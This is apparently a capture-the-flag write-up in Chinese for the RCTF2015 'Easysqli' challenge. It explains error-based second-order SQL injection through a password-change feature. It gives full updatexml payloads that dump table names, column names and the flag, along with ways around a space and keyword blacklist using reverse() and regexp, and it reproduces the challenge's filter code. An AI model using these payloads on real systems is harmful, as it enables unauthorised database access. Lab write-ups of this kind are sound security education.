RCTF2015 Easysqli
0x00
题目类型:报错型二次注入。
0x01
注册用户名为test",进入changepwd.php,更改密码后发现报错信息。
确认存在sql二次注入,爬虫还爬到了phpinfo.php,可以看到是mysql5.5.62版本。顺便吐槽BUU的限制真严格,开一个线程跑也会429。
构造username=test"+updatexml(1,concat(0x7e,(select(database()))),1)%23,出现报错信息。
猜测后台更新语句为update * from user where username="username\" and pwd = 'xxxx',实际上他长这样。
$sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'"
ban掉了空格,构造payload为:
test"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
查得三个表:articles,flag,users,flag在users表中。
test"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
BAN掉了substr和like,可以用reverse和regexp绕过。
列名显示不全,可以用reverse函数倒序输出一下;或者正则匹配首字母r,只输出该列名。
test"||(updatexml(1,concat(0x7e,(select(reverse(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))),1))#
test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
输出长度有限制,注两次拿到flag。
test"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
test"||(updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
0x02
小结一下,该题过滤如下:
function check($string) { //$string = preg_replace("#(\s)|(/\*.*\*/)#i", "", $string); $postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i"; if(preg_match($postfilter, $string,$matches)) { echo "<script>alert('invalid string!')</script>"; die(); } else return $string; }
substr不能用,用reverse输出可以拼凑出字符串;like不能用,可以用regexp正则匹配。
整理整体逻辑,注册对用户名与密码做了严格限制,不过仍然可以绕过并使用报错注入。payload在注册登陆后不触发,而是在修改密码时触发更新操作,从而触发payload。